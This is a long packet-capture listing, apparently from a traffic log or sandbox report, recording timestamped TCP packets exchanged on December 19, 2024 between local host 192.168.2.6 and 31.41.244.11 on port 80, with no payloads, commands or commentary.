Dec 19, 2024 08:09:11.748859882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.748934031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.750080109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.750142097 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.750190973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.750391006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.751394033 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.751478910 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.751528978 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.751622915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.752702951 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.752832890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.752839088 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.752902031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.754002094 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.754080057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.754122972 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.754172087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.755359888 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.755423069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.755466938 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.755673885 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.756630898 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.756711006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.756755114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.756834984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.757956982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.758047104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.758109093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.759232998 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.759608984 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.882909060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.882977962 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.883002043 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.883090973 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.883506060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.883522987 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.883559942 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.883596897 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.884651899 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.884805918 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.884860039 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.885864973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.885916948 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.886003017 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.886045933 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.887125969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.887196064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.887216091 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.887376070 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.888348103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.888397932 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.888442993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.888500929 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.889509916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.889555931 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.889595032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.889640093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.890790939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.890851974 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.890892029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.890934944 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.891983032 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.892030954 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.892097950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.892231941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.893167973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.893218040 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.893332005 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.893465042 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.894465923 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.894515038 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.894584894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.894627094 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.895625114 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.895673037 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.895695925 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.895742893 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.896841049 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.897063971 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.897115946 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.898106098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.898164988 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.898205042 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.898257017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.899353027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.899377108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.899411917 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.899445057 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.900513887 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.900638103 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.900680065 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.900711060 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.901834965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.901850939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.901906967 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.902910948 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.902966022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.903036118 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.903088093 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.904128075 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.904182911 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.904258966 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.904311895 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.905359983 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.905416012 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.905538082 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.905596018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.906614065 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.906660080 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.906672001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.906723976 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.907849073 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.907891035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.907905102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.908073902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.909270048 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.909286022 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.909324884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.909356117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.910368919 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.910384893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.910443068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.911638021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.911653996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.911695957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.911727905 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.912671089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.912811041 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.912868023 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.913889885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.914036036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.914096117 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.915124893 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.915184975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.915199995 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.915374041 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.916322947 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.916378975 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.916424036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.916491032 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.917530060 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.917614937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.917624950 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.917675018 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.918778896 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.918829918 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.918869019 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.918910980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.920048952 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.920101881 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.920177937 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.920273066 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.921192884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.921243906 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.921284914 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.921327114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.922401905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.922456980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.922533035 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.922643900 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.923631907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.923698902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.923734903 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.923846006 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.924818039 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.924866915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.924957037 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.925004959 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.926143885 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.926193953 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.926317930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.926361084 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.927290916 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.927340031 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.927364111 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.927407980 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.928513050 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.928560019 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.928601980 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.928668022 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.929713964 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.929763079 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.929801941 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.929845095 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.930996895 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.931066990 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.931066990 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.931148052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.932143927 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.932216883 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.932224989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.932270050 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.933469057 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.933485031 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.933530092 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.933562994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.934897900 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.934915066 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.934978962 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.936130047 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.936146021 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.936196089 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.936223030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.937167883 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.937242985 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.937297106 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.938406944 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.938424110 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.938469887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.938488007 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.939479113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.939546108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.939609051 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.940680981 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.940937996 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.940988064 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.942126036 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.942146063 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.942194939 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.942208052 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.943094969 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.943149090 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.943240881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.943281889 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.944305897 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.944364071 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.944461107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.944577932 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.945580006 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.945641994 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.945655107 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.945700884 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:11.946696997 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:11.946880102 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.074903011 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.074976921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.074980021 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.075094938 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.075344086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.075368881 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.075419903 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.076512098 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.076558113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.076587915 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.076621056 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.077675104 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.077759981 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.077811956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.077977896 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.078982115 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.078998089 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.079042912 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.079078913 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.080682993 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.080699921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.081537008 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.081552982 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.081588030 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.081619978 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.082544088 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.082559109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.083062887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.083710909 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.083924055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.084682941 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.085005999 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.085021973 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.085074902 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.086282015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.086297989 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.086344957 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.087299109 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.087384939 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.088274956 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.088459015 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.088572025 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.088620901 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.089696884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.089842081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.090914965 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.090980053 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.090989113 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.092181921 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.092200994 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.092231035 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.092263937 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.093317986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.093420029 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.094480991 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.094546080 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.094549894 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.095705986 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.095765114 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.095776081 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.096679926 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.096910000 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.096925974 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.096971989 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.098081112 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.098228931 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.098280907 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.099342108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.099384069 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.099387884 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.099432945 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.101846933 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.101862907 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.101933956 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.101949930 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.101999998 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.102035999 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.102873087 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.102920055 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.103095055 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.104233027 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.104299068 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.104387045 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.104671955 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.105276108 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.105477095 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.105525017 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.106530905 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.106870890 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.106920004 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.107770920 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.107788086 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.107831001 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.109061003 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.109217882 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.110284090 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.110301018 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.110344887 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.110387087 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.111298084 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.111361027 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.111471891 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.112670898 CET	49802	80	192.168.2.6	31.41.244.11
Dec 19, 2024 08:09:12.112720013 CET	80	49802	31.41.244.11	192.168.2.6
Dec 19, 2024 08:09:12.112735987 CET	80	49802	31.41.244.11	192.168.2.6
